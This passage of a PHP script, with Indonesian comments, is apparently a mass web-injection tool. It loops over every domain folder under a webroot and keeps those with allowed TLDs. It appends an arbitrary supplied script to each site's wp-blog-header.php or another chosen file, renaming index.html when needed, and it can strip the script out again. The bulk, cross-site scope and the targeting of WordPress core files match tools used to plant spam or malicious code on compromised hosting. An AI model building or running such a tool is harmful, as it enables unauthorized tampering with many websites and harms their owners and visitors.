$type, 'msg'=>$text]; echo json_encode($obj, JSON_UNESCAPED_UNICODE) . "\n"; @ob_flush(); @flush(); } // STREAMING endpoint if ($_SERVER['REQUEST_METHOD'] === 'POST' && (isset($_POST['stream']) && $_POST['stream'] === '1')) { ignore_user_abort(true); set_time_limit(0); header('Content-Type: application/x-ndjson; charset=utf-8'); header('Cache-Control: no-cache'); if (function_exists('apache_setenv')) @apache_setenv('no-gzip', '1'); @ini_set('zlib.output_compression', '0'); @ini_set('implicit_flush', '1'); while (ob_get_level()) ob_end_flush(); ob_implicit_flush(true); $root = rtrim($_POST['webroot'] ?? $defaultRoot, "/\\"); $scriptToInject = $_POST['script'] ?? ''; $usePublicHtml = isset($_POST['use_public_html']) && $_POST['use_public_html'] === '1'; $action = in_array($_POST['action'] ?? 'inject', ['inject','uninject']) ? $_POST['action'] : 'inject'; // tambahan: nama file target (jika kosong pakai wp-blog-header.php) $targetFilename = trim($_POST['target_filename'] ?? ''); if ($targetFilename === '') { $targetFilename = 'wp-blog-header.php'; } else { // sanitasi nama file sederhana: jangan izinkan path traversal $targetFilename = basename($targetFilename); } send_msg('info', "Starting — root: {$root} — action: {$action} — public_html toggle: " . ($usePublicHtml ? 'ON' : 'OFF') . " — target file: {$targetFilename}"); if (!is_dir($root)) { send_msg('error', "Webroot tidak ditemukan: {$root}"); send_msg('done', "finished"); exit; } $domains = array_filter(glob($root . '/*', GLOB_ONLYDIR), 'is_dir'); if (empty($domains)) { send_msg('info', "Tidak ada folder domain ditemukan di: {$root}"); send_msg('done', "finished"); exit; } foreach ($domains as $domainPath) { $folderName = basename($domainPath); $parts = explode('.', $folderName); $tld = strtolower(end($parts)); if (!in_array($tld, $GLOBALS['allowedTLD'])) { send_msg('warn', "TLD {$tld} tidak termasuk — skip {$folderName}"); continue; } $targetPath = $domainPath; if ($usePublicHtml) { $maybe = $domainPath . '/public_html'; if (is_dir($maybe)) { $targetPath = $maybe; send_msg('info', "Menggunakan {$folderName}/public_html sebagai target"); } else { send_msg('warn', "{$folderName} toggle public_html diaktifkan tapi folder public_html tidak ditemukan — memakai root domain"); } } send_msg('progress', "Proses: {$folderName} (target: {$targetPath})"); // gunakan nama file target yang diberikan $indexFile = $targetPath . '/' . $targetFilename; $indexHtml = $targetPath . '/index.html'; // Jika action = inject dan file target tidak ada tapi index.html ada -> rename index.html jadi targetFilename if ($action === 'inject') { if (!file_exists($indexFile) && file_exists($indexHtml)) { // hanya coba rename jika target filename terlihat sebagai file (basename) dan bukan traversal if (@rename($indexHtml, $indexFile)) { send_msg('info', "index.html di-rename jadi {$targetFilename} di {$targetPath}"); } else { send_msg('error', "Gagal merename index.html jadi {$targetFilename} di {$targetPath} (cek permission)"); } } } if (!file_exists($indexFile)) { send_msg('error', "{$targetFilename} tidak ditemukan di {$targetPath}"); continue; } // baca isi file $content = @file_get_contents($indexFile); if ($content === false) { send_msg('error', "Gagal membaca {$indexFile} (cek permission)"); continue; } // buat backup sebelum perubahan (timestamp) $bakName = $indexFile . '.bak_' . time(); if (!@copy($indexFile, $bakName)) { send_msg('warn', "Gagal membuat backup untuk {$indexFile} — lanjut tanpa backup (cek permission)"); } else { send_msg('info', "Backup dibuat: {$bakName}"); } // ===== LOGIKA TAMBAHAN: tambahkan tag di akhir kalau tidak ada ===== if ($action === 'inject') { $content = rtrim($content); if (substr($content, -2) !== '?>') { $content .= "\n?>"; send_msg('info', "Tag penutup PHP '?>' otomatis ditambahkan di {$indexFile}"); } } if ($action === 'inject') { if ($scriptToInject === '') { send_msg('warn', "Script kosong — skip inject di {$indexFile}"); continue; } if (strpos($content, $scriptToInject) === false) { if (@file_put_contents($indexFile, $content . "\n" . $scriptToInject) !== false) { send_msg('success', "Script berhasil di-inject ke {$indexFile}"); } else { send_msg('error', "Gagal menulis ke {$indexFile} (cek permission)"); } } else { send_msg('info', "Script sudah ada di {$indexFile} — skip"); } } else { // uninject if ($scriptToInject === '') { send_msg('warn', "Script kosong — tidak ada yang di-uninject di {$indexFile}"); continue; } $new = str_replace($scriptToInject, '', $content); if ($new === $content) { $quoted = preg_quote($scriptToInject, '/'); $pattern = '/(?:\r?\n){0,2}' . $quoted . '(?:\r?\n){0,2}/u'; $new = preg_replace($pattern, '', $content); } if ($new === $content) { $lines = preg_split('/\r\n|\n|\r/', $content); $scriptLines = preg_split('/\r\n|\n|\r/', $scriptToInject); $scriptLinesTrimmed = array_map('trim', $scriptLines); $outLines = []; $i = 0; $removedCount = 0; $totalLines = count($lines); while ($i < $totalLines) { $matched = true; for ($j = 0; $j < count($scriptLinesTrimmed); $j++) { if (!isset($lines[$i+$j]) || trim($lines[$i+$j]) !== $scriptLinesTrimmed[$j]) { $matched = false; break; } } if ($matched && count($scriptLinesTrimmed) > 0) { $i += count($scriptLinesTrimmed); $removedCount++; continue; } else { $outLines[] = $lines[$i]; $i++; } } if ($removedCount > 0) { $new = implode("\n", $outLines); } } if ($new === $content) { send_msg('info', "Script tidak ditemukan di {$indexFile} — tidak ada perubahan."); } else { if (@file_put_contents($indexFile, $new) !== false) { send_msg('success', "Script berhasil dihapus (uninject) dari {$indexFile}"); } else { send_msg('error', "Gagal menulis ke {$indexFile} setelah uninject (cek permission)"); } } } usleep(100000); // 0.1s } send_msg('done', "Selesai memproses semua domain."); exit; } // Jika bukan streaming POST -> tampilkan UI ?>